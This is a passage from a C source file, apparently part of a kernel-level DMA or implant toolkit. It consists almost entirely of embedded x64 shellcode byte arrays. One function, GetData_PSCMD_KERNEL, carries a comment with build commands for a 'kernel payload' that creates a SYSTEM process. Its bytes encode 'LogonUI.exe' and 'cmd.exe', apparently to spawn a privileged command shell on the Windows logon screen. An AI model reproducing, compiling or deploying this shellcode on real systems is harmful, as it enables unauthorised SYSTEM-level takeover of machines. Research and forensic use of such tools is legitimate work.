0xc0, 0x49, 0xff, 0xc2, 0xc1, 0xcb, 0x0d, 0x03,\n\t\t0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xee, 0x3b, 0xdd, 0x74, 0x23,\n\t\t0x41, 0xff, 0xc0, 0x49, 0x83, 0xc1, 0x04, 0x45, 0x3b, 0xc3, 0x72, 0xd4,\n\t\t0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10,\n\t\t0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x46,\n\t\t0x0f, 0xb7, 0x04, 0x46, 0x44, 0x3b, 0x42, 0x14, 0x73, 0xde, 0x42, 0x8b,\n\t\t0x04, 0x87, 0x48, 0x03, 0xc1, 0xeb, 0xd7\n\t};\n\t*ppb = WINX64_VFS_BIN;\n\t*pcb = sizeof(WINX64_VFS_BIN);\n}\n\n// specially compiled kernel payload, compile and extract shellcode with:\n//\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_SYSTEM /D_EXEC_USER_EXTERNAL wx64_pscreate.c\n// ml64 wx64_common_a.asm /Fewx64_pscmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj\n// shellcode64.exe -o wx64_pscmd.exe\n// xxd -i wx64_pscmd.bin\nVOID GetData_PSCMD_KERNEL(PBYTE *ppb, PDWORD pcb)\n{\n\tBYTE WINX64_PSCMD_KERNEL_BIN[] = {\n\t\t0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20,\n\t\t0xe8, 0x7b, 0x06, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x0f, 0x20,\n\t\t0xd8, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x53, 0x56,\n\t\t0x57, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x6c, 0x24, 0xd9,\n\t\t0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xb9, 0x20, 0x01,\n\t\t0x00, 0x00, 0x48, 0x8b, 0xf2, 0x48, 0x83, 0x65, 0x7f, 0x00, 0x48, 0x8d,\n\t\t0x55, 0x7f, 0x48, 0x83, 0x65, 0x77, 0x00, 0x48, 0x8b, 0xd9, 0x45, 0x33,\n\t\t0xf6, 0x48, 0xc7, 0x45, 0x97, 0x00, 0x10, 0x00, 0x00, 0x4c, 0x21, 0x75,\n\t\t0x67, 0x49, 0x8b, 0xcf, 0x49, 0x8b, 0xf8, 0x41, 0xff, 0x50, 0x58, 0x48,\n\t\t0x63, 0xc8, 0x41, 0xbd, 0x00, 0x00, 0x00, 0xc0, 0x8b, 0xc1, 0x41, 0x23,\n\t\t0xc5, 0x41, 0x3b, 0xc5, 0x75, 0x17, 0x48, 0x89, 0x8b, 0x20, 0x02, 0x00,\n\t\t0x00, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,\n\t\t0xe9, 0xc1, 0x01, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d,\n\t\t0x4d, 0xf7, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0xba, 0x10, 0x00, 0x00,\n\t\t0x00, 0x48, 0x8d, 0x4d, 0x9f, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x4c,\n\t\t0x21, 0x75, 0xa7, 0x4c, 0x8d, 0x4d, 0x9f, 0x4c, 0x8d, 0x45, 0xf7, 0x4c,\n\t\t0x89, 0x7d, 0x9f, 0xba, 0xff, 0xff, 0x1f, 0x00, 0x48, 0x8d, 0x4d, 0x67,\n\t\t0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x48, 0x63, 0xc8, 0x8b, 0xc1, 0x41,\n\t\t0x23, 0xc5, 0x41, 0x3b, 0xc5, 0x75, 0x17, 0x48, 0x89, 0x8b, 0x20, 0x02,\n\t\t0x00, 0x00, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00,\n\t\t0x00, 0xe9, 0x45, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x67, 0x4c, 0x8d,\n\t\t0x4d, 0x97, 0xc7, 0x44, 0x24, 0x28, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8d,\n\t\t0x55, 0x77, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x20,\n\t\t0x00, 0x30, 0x00, 0x00, 0xff, 0x57, 0x78, 0x48, 0x63, 0xc8, 0x8b, 0xc1,\n\t\t0x41, 0x23, 0xc5, 0x41, 0x3b, 0xc5, 0x75, 0x17, 0x48, 0x89, 0x8b, 0x20,\n\t\t0x02, 0x00, 0x00, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, 0x05, 0x00,\n\t\t0x00, 0x00, 0xe9, 0xfc, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x7f, 0x48,\n\t\t0x8d, 0x55, 0xb7, 0xff, 0x57, 0x18, 0x4c, 0x39, 0xb3, 0x30, 0x01, 0x00,\n\t\t0x00, 0x74, 0x38, 0x4c, 0x8b, 0xc7, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcb,\n\t\t0xe8, 0x3f, 0x04, 0x00, 0x00, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75,\n\t\t0x22, 0x48, 0xc7, 0x83, 0x20, 0x02, 0x00, 0x00, 0x05, 0x40, 0x00, 0x80,\n\t\t0x48, 0x8d, 0x4d, 0xb7, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, 0x06,\n\t\t0x00, 0x00, 0x00, 0xff, 0x57, 0x20, 0xe9, 0xb0, 0x00, 0x00, 0x00, 0x4c,\n\t\t0x8b, 0x4d, 0x77, 0x4c, 0x8b, 0xc7, 0x48, 0x8b, 0xd6, 0x4c, 0x89, 0x74,\n\t\t0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x16, 0x03, 0x00, 0x00, 0x8b, 0xc8,\n\t\t0x41, 0x23, 0xcd, 0x41, 0x3b, 0xcd, 0x48, 0x8d, 0x4d, 0xb7, 0x75, 0x16,\n\t\t0x48, 0x98, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0xc7, 0x83,\n\t\t0x28, 0x02, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xeb, 0xbd, 0xff, 0x57,\n\t\t0x20, 0x4c, 0x8b, 0x57, 0x68, 0x4d, 0x85, 0xd2, 0x74, 0x69, 0x48, 0x8b,\n\t\t0x4d, 0x67, 0x48, 0x8d, 0x45, 0xe7, 0x48, 0x89, 0x44, 0x24, 0x48, 0x45,\n\t\t0x33, 0xc9, 0x48, 0x8d, 0x45, 0xaf, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x44,\n\t\t0x24, 0x40, 0x33, 0xd2, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8b,\n\t\t0x45, 0x77, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x83, 0x64, 0x24, 0x28,\n\t\t0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x41, 0xff, 0xd2, 0x8b, 0xc8,\n\t\t0x41, 0x23, 0xcd, 0x41, 0x3b, 0xcd, 0x75, 0x16, 0x48, 0x98, 0x48, 0x89,\n\t\t0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00,\n\t\t0x0a, 0x00, 0x00, 0x00, 0xeb, 0x0d, 0xba, 0xfa, 0x00, 0x00, 0x00, 0x48,\n\t\t0x8b, 0xce, 0xe8, 0x61, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x67, 0x48,\n\t\t0x85, 0xc9, 0x74, 0x06, 0xff, 0x96, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b,\n\t\t0x4d, 0x7f, 0x48, 0x85, 0xc9, 0x74, 0x03, 0xff, 0x57, 0x48, 0x48, 0x81,\n\t\t0xc4, 0xe0, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x5f,\n\t\t0x5e, 0x5b, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c,\n\t\t0x24, 0x18, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83,\n\t\t0xec, 0x40, 0x4c, 0x8b, 0xe2, 0x48, 0x8b, 0xf1, 0x33, 0xd2, 0x4d, 0x8b,\n\t\t0xf1, 0x4d, 0x8b, 0xf8, 0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x45, 0x33, 0xc0,\n\t\t0x8d, 0x5a, 0x05, 0x8b, 0xcb, 0xff, 0x96, 0xa8, 0x00, 0x00, 0x00, 0x3d,\n\t\t0x04, 0x00, 0x00, 0xc0, 0x0f, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x8b, 0x4c,\n\t\t0x24, 0x70, 0x85, 0xc9, 0x0f, 0x84, 0xa6, 0x00, 0x00, 0x00, 0x8b, 0xd1,\n\t\t0x33, 0xc9, 0xff, 0x56, 0x08, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75,\n\t\t0x0a, 0xb8, 0x0e, 0x00, 0x07, 0x80, 0xe9, 0x8d, 0x00, 0x00, 0x00, 0x44,\n\t\t0x8b, 0x44, 0x24, 0x70, 0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x48, 0x8b, 0xd7,\n\t\t0x8b, 0xcb, 0xff, 0x96, 0xa8, 0x00, 0x00, 0x00, 0x8b, 0xe8, 0x85, 0xc0,\n\t\t0x78, 0x6a, 0x48, 0x8b, 0xdf, 0xba, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8d,\n\t\t0x4c, 0x24, 0x30, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x43,\n\t\t0x50, 0x48, 0x8d, 0x44, 0x24, 0x30, 0x41, 0xb9, 0x10, 0x00, 0x00, 0x00,\n\t\t0x48, 0x89, 0x44, 0x24, 0x20, 0x49, 0x8b, 0xd4, 0x48, 0x8b, 0xce, 0xe8,\n\t\t0x5c, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xd7, 0x48, 0x8d, 0x4c, 0x24, 0x30,\n\t\t0xff, 0x16, 0x85, 0xc0, 0x74, 0x23, 0x8b, 0x03, 0x85, 0xc0, 0x74, 0x16,\n\t\t0x48, 0x03, 0xd8, 0x48, 0x3b, 0xdf, 0x72, 0x1c, 0x8b, 0x44, 0x24, 0x70,\n\t\t0x48, 0x03, 0xc7, 0x48, 0x3b, 0xd8, 0x73, 0x10, 0xeb, 0xa7, 0xbd, 0x9f,\n\t\t0x13, 0x07, 0x80, 0xeb, 0x07, 0x48, 0x8b, 0x43, 0x50, 0x49, 0x89, 0x06,\n\t\t0x48, 0x8b, 0xcf, 0xff, 0x56, 0x10, 0x8b, 0xc5, 0x4c, 0x8d, 0x5c, 0x24,\n\t\t0x40, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x6b, 0x40, 0x49, 0x8b, 0xe3,\n\t\t0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc,\n\t\t0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57,\n\t\t0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xf1,\n\t\t0x48, 0x8d, 0x54, 0x24, 0x48, 0x49, 0x8b, 0xc8, 0x49, 0x8b, 0xe9, 0xff,\n\t\t0x56, 0x58, 0x8b, 0xf8, 0x85, 0xc0, 0x78, 0x23, 0x48, 0x8b, 0x4c, 0x24,\n\t\t0x48, 0xff, 0x56, 0x50, 0x48, 0x8b, 0xc8, 0x48, 0x8b, 0xd5, 0x48, 0x8b,\n\t\t0xd8, 0xff, 0x56, 0x70, 0x48, 0x8b, 0x4c, 0x24, 0x60, 0x48, 0x8b, 0xd3,\n\t\t0x4c, 0x8b, 0xc0, 0x41, 0xff, 0x56, 0x60, 0x48, 0x8b, 0x5c, 0x24, 0x40,\n\t\t0x8b, 0xc7, 0x48, 0x8b, 0x6c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41,\n\t\t0x5e, 0x5f, 0x5e, 0xc3, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48,\n\t\t0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55,\n\t\t0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x70, 0x4c, 0x8b, 0xf1, 0xc7, 0x45,\n\t\t0xb0, 0x5d, 0xc6, 0x94, 0xfb, 0xc7, 0x45, 0xb4, 0xa3, 0x8d, 0x98, 0x2b,\n\t\t0x48, 0x8d, 0xba, 0x88, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xb8, 0xf9, 0x95,\n\t\t0xc6, 0x88, 0x48, 0x8d, 0x75, 0xf4, 0xc7, 0x45, 0xbc, 0xbe, 0x47, 0x00,\n\t\t0x9e, 0xbb, 0x11, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xc0, 0xf4, 0xdc, 0x47,\n\t\t0xf0, 0xc7, 0x45, 0xc4, 0xbc, 0x1e, 0x36, 0x9f, 0xc7, 0x45, 0xc8, 0x92,\n\t\t0xf5, 0x45, 0x13, 0xc7, 0x45, 0xcc, 0xcd, 0x1d, 0xeb, 0xbc, 0xc7, 0x45,\n\t\t0xd0, 0x2b, 0x0e, 0xd0, 0x97, 0xc7, 0x45, 0xd4, 0xd6, 0x3f, 0x05, 0x2e,\n\t\t0xc7, 0x45, 0xd8, 0xec, 0xee, 0xe7, 0x8b, 0xc7, 0x45, 0xdc, 0x2a, 0xb8,\n\t\t0xa0, 0xa3, 0xc7, 0x45, 0xe0, 0x0d, 0x0e, 0x0b, 0x0e, 0xc7, 0x45, 0xe4,\n\t\t0x41, 0x20, 0x2f, 0x44, 0xc7, 0x45, 0xe8, 0xa8, 0x3b, 0xfb, 0xe0, 0xc7,\n\t\t0x45, 0xec, 0xed, 0x4a, 0x3d, 0xd3, 0xc7, 0x45, 0xf0, 0x60, 0x9d, 0xd0,\n\t\t0xf0, 0x48, 0x8d, 0x76, 0xfc, 0x49, 0x8b, 0xce, 0x8b, 0x16, 0x48, 0x8d,\n\t\t0x7f, 0xf8, 0xe8, 0x49, 0x04, 0x00, 0x00, 0x48, 0x89, 0x07, 0x83, 0xc3,\n\t\t0xff, 0x75, 0xe6, 0x4c, 0x8d, 0x5c, 0x24, 0x70, 0x49, 0x8b, 0x5b, 0x10,\n\t\t0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28,\n\t\t0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48,\n\t\t0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,\n\t\t0x89, 0x78, 0x20, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec,\n\t\t0x20, 0x4c, 0x8b, 0x71, 0x68, 0x4c, 0x8d, 0xa1, 0x00, 0x04, 0x00, 0x00,\n\t\t0x4c, 0x89, 0xb1, 0x80, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xc6, 0x25, 0xff,\n\t\t0x0f, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x10, 0x00, 0x00, 0x44, 0x2b, 0xf8,\n\t\t0x48, 0x8b, 0xfa, 0x4c, 0x89, 0xb9, 0x88, 0x00, 0x00, 0x00, 0x48, 0xb8,\n\t\t0x66, 0x66, 0x77, 0x77, 0x66, 0x66, 0x77, 0x77, 0x48, 0x89, 0x41, 0x78,\n\t\t0x48, 0x8b, 0xd9, 0x49, 0x8b, 0x06, 0xba, 0x04, 0x01, 0x00, 0x00, 0x48,\n\t\t0x89, 0x81, 0x88, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe9, 0x49, 0x8b, 0xcc,\n\t\t0x41, 0xff, 0x50, 0x70, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x57, 0x00,\n\t\t0x07, 0x80, 0xeb, 0x47, 0xba, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8b, 0xcd,\n\t\t0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xc7, 0x49, 0x8b, 0xd6,\n\t\t0x48, 0x8b, 0xcd, 0xff, 0x57, 0x60, 0x41, 0xb8, 0x04, 0x01, 0x00, 0x00,\n\t\t0x48, 0x8d, 0x8d, 0xe8, 0x0e, 0x00, 0x00, 0x49, 0x8b, 0xd4, 0xff, 0x57,\n\t\t0x60, 0x8b, 0x83, 0x28, 0x01, 0x00, 0x00, 0x89, 0x85, 0xf8, 0x0f, 0x00,\n\t\t0x00, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x89, 0x85, 0xf0, 0x0f, 0x00,\n\t\t0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24,\n\t\t0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48,\n\t\t0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0xc3, 0xcc, 0xcc,\n\t\t0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,\n\t\t0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec,\n\t\t0x30, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xe9, 0x41, 0xbe, 0x00, 0x20, 0x00,\n\t\t0x00, 0x33, 0xc9, 0x41, 0x8b, 0xd6, 0x49, 0x8b, 0xf0, 0xff, 0x53, 0x08,\n\t\t0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x07, 0x33, 0xc0, 0xe9, 0x90,\n\t\t0x00, 0x00, 0x00, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0x80,\n\t\t0x00, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xc9,\n\t\t0x45, 0x33, 0xc0, 0x41, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0xff, 0x16, 0x4c,\n\t\t0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x48, 0x8b, 0xcf, 0xff, 0x53,\n\t\t0x10, 0xeb, 0xc9, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x44, 0x8d, 0x42, 0x02,\n\t\t0xff, 0x56, 0x40, 0x45, 0x33, 0xc9, 0xc7, 0x44, 0x24, 0x28, 0x10, 0x00,\n\t\t0x00, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x49, 0x8b, 0xce, 0x45, 0x8d,\n\t\t0x41, 0x01, 0x41, 0x8a, 0xd0, 0xff, 0x56, 0x38, 0x48, 0x8b, 0xf0, 0x48,\n\t\t0x85, 0xc0, 0x74, 0xc7, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x30, 0x48, 0x8d,\n\t\t0x8e, 0x00, 0x10, 0x00, 0x00, 0x48, 0x89, 0x85, 0x18, 0x01, 0x00, 0x00,\n\t\t0xff, 0x53, 0x30, 0x48, 0x89, 0x85, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8b,\n\t\t0xc6, 0x48, 0x89, 0xbd, 0x30, 0x02, 0x00, 0x00, 0x48, 0x89, 0xb5, 0x38,\n\t\t0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24,\n\t\t0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48,\n\t\t0x83, 0xc4, 0x30, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,\n\t\t0x08, 0x55, 0x48, 0x8d, 0xac, 0x24, 0x50, 0xff, 0xff, 0xff, 0x48, 0x81,\n\t\t0xec, 0xb0, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x55, 0xe0,\n\t\t0x48, 0x8b, 0x49, 0x08, 0xe8, 0x13, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4b,\n\t\t0x08, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xe8, 0x1d, 0xfd, 0xff, 0xff, 0xb8,\n\t\t0x01, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x20, 0x4c, 0x6f, 0x67, 0x6f,\n\t\t0x4c, 0x8d, 0x8b, 0x20, 0x01, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x01,\n\t\t0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x89, 0x83, 0x40, 0x01,\n\t\t0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xc7, 0x44, 0x24, 0x24, 0x6e,\n\t\t0x55, 0x49, 0x2e, 0x48, 0x8d, 0x4d, 0xe0, 0xc7, 0x44, 0x24, 0x28, 0x65,\n\t\t0x78, 0x65, 0x00, 0xc7, 0x44, 0x24, 0x30, 0x63, 0x3a, 0x5c, 0x77, 0xc7,\n\t\t0x44, 0x24, 0x34, 0x69, 0x6e, 0x64, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x77,\n\t\t0x73, 0x5c, 0x73, 0xc7, 0x44, 0x24, 0x3c, 0x79, 0x73, 0x74, 0x65, 0xc7,\n\t\t0x44, 0x24, 0x40, 0x6d, 0x33, 0x32, 0x5c, 0xc7, 0x44, 0x24, 0x44, 0x63,\n\t\t0x6d, 0x64, 0x2e, 0xc7, 0x44, 0x24, 0x48, 0x65, 0x78, 0x65, 0x00, 0x48,\n\t\t0xc7, 0x83, 0x28, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xe8, 0x21,\n\t\t0xfb, 0xff, 0xff, 0x48, 0x63, 0xc8, 0x48, 0x89, 0x8b, 0x20, 0x02, 0x00,\n\t\t0x00, 0x85, 0xc0, 0x74, 0x0d, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00,\n\t\t0x01, 0x01, 0x00, 0x00, 0xeb, 0x26, 0x48, 0x8d, 0x8b, 0x00, 0x04, 0x00,\n\t\t0x00, 0x41, 0xb8, 0x1c, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30,\n\t\t0xff, 0x55, 0x40, 0x4c, 0x8d, 0x44, 0x24, 0x50, 0x48, 0x8b, 0xcb, 0x48,\n\t\t0x8d, 0x55, 0xe0, 0xe8, 0x98, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24,\n\t\t0xc0, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xb0, 0x01, 0x00, 0x00, 0x5d,\n\t\t0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x8b, 0xc2, 0x4c, 0x8d,\n\t\t0x44, 0x24, 0x30, 0x48, 0x69, 0xd0, 0xf0, 0xd8, 0xff, 0xff, 0x4c, 0x8b,\n\t\t0xc9, 0x33, 0xc9, 0x48, 0x89, 0x54, 0x24, 0x30, 0x33, 0xd2, 0x41, 0xff,\n\t\t0x51, 0x20, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x8b, 0xc4, 0x48,\n\t\t0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c,\n\t\t0x89, 0x70, 0x20, 0x55, 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0x90,\n\t\t0x00, 0x00, 0x00, 0x4c, 0x8b, 0xf1, 0xc7, 0x45, 0xe7, 0x4a, 0x45, 0x3b,\n\t\t0xd7, 0xc7, 0x45, 0xeb, 0x62, 0xe0, 0x07, 0x37, 0x48, 0x8d, 0xba, 0xc8,\n\t\t0x00, 0x00, 0x00, 0xc7, 0x45, 0xef, 0x1f, 0x9d, 0x48, 0x9d, 0x48, 0x8d,\n\t\t0x75, 0x4b, 0xc7, 0x45, 0xf3, 0xa1, 0x7b, 0xcc, 0xdc, 0xbb, 0x19, 0x00,\n\t\t0x00, 0x00, 0xc7, 0x45, 0xf7, 0x92, 0x6d, 0x58, 0x58, 0xc7, 0x45, 0xfb,\n\t\t0xce, 0xad, 0x90, 0x4d, 0xc7, 0x45, 0xff, 0x57, 0x63, 0x32, 0x5a, 0xc7,\n\t\t0x45, 0x03, 0x8f, 0xb5, 0x6a, 0x6a, 0xc7, 0x45, 0x07, 0xf9, 0xbe, 0xdd,\n\t\t0x05, 0xc7, 0x45, 0x0b, 0xf7, 0x38, 0xb3, 0x9d, 0xc7, 0x45, 0x0f, 0xc9,\n\t\t0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0x13, 0x89, 0x83, 0x6c, 0xeb, 0xc7, 0x45,\n\t\t0x17, 0x9b, 0x97, 0x64, 0xcf, 0xc7, 0x45, 0x1b, 0x2a, 0xc0, 0xb2, 0xa8,\n\t\t0xc7, 0x45, 0x1f, 0x3d, 0x28, 0xc3, 0x7c, 0xc7, 0x45, 0x23, 0x2a, 0xd0,\n\t\t0x35, 0x30, 0xc7, 0x45, 0x27, 0xdb, 0x4f, 0x3d, 0xc5, 0xc7, 0x45, 0x2b,\n\t\t0x61, 0x4c, 0x04, 0x5d, 0xc7, 0x45, 0x2f, 0x9d, 0x8f, 0xa0, 0xc3, 0xc7,\n\t\t0x45, 0x33, 0xb8, 0xd4, 0x29, 0x88, 0xc7, 0x45, 0x37, 0x50, 0x64, 0xb0,\n\t\t0x6f, 0xc7, 0x45, 0x3b, 0xe2, 0xca, 0x61, 0xe6, 0xc7, 0x45, 0x3f, 0xde,\n\t\t0x24, 0xe6, 0xf7, 0xc7, 0x45, 0x43, 0x16, 0x35, 0xfd, 0x87, 0xc7, 0x45,\n\t\t0x47, 0x36, 0x31, 0x0e, 0x68, 0x48, 0x8d, 0x76, 0xfc, 0x49, 0x8b, 0xce,\n\t\t0x8b, 0x16, 0x48, 0x8d, 0x7f, 0xf8, 0xe8, 0x25, 0x00, 0x00, 0x00, 0x48,\n\t\t0x89, 0x07, 0x83, 0xc3, 0xff, 0x75, 0xe6, 0x4c, 0x8d, 0x9c, 0x24, 0x90,\n\t\t0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49,\n\t\t0x8b, 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3,\n\t\t0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,\n\t\t0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x8b, 0xea, 0x48, 0x85, 0xc9,\n\t\t0x74, 0x7a, 0xb8, 0x4d, 0x5a, 0x00, 0x00, 0x66, 0x39, 0x01, 0x75, 0x70,\n\t\t0x48, 0x63, 0x41, 0x3c, 0x48, 0x03, 0xc1, 0x74, 0x67, 0x81, 0x38, 0x50,\n\t\t0x45, 0x00, 0x00, 0x75, 0x5f, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x48,\n\t\t0x03, 0xd1, 0x74, 0x54, 0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74,\n\t\t0x4b, 0x8b, 0x42, 0x20, 0x85, 0xc0, 0x74, 0x44, 0x8b, 0x72, 0x24, 0x4c,\n\t\t0x8d, 0x0c, 0x01, 0x8b, 0x7a, 0x1c, 0x48, 0x03, 0xf1, 0x48, 0x03, 0xf9,\n\t\t0x45, 0x33, 0xc0, 0x45, 0x85, 0xdb, 0x74, 0x2c, 0x45, 0x8b, 0x11, 0x4c,\n\t\t0x03, 0xd1, 0x33, 0xdb, 0xeb, 0x0b, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc2,\n\t\t0xc1, 0xcb, 0x0d, 0x03, 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xee,\n\t\t0x3b, 0xdd, 0x74, 0x23, 0x41, 0xff, 0xc0, 0x49, 0x83, 0xc1, 0x04, 0x45,\n\t\t0x3b, 0xc3, 0x72, 0xd4, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48,\n\t\t0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b, 0x7c,\n\t\t0x24, 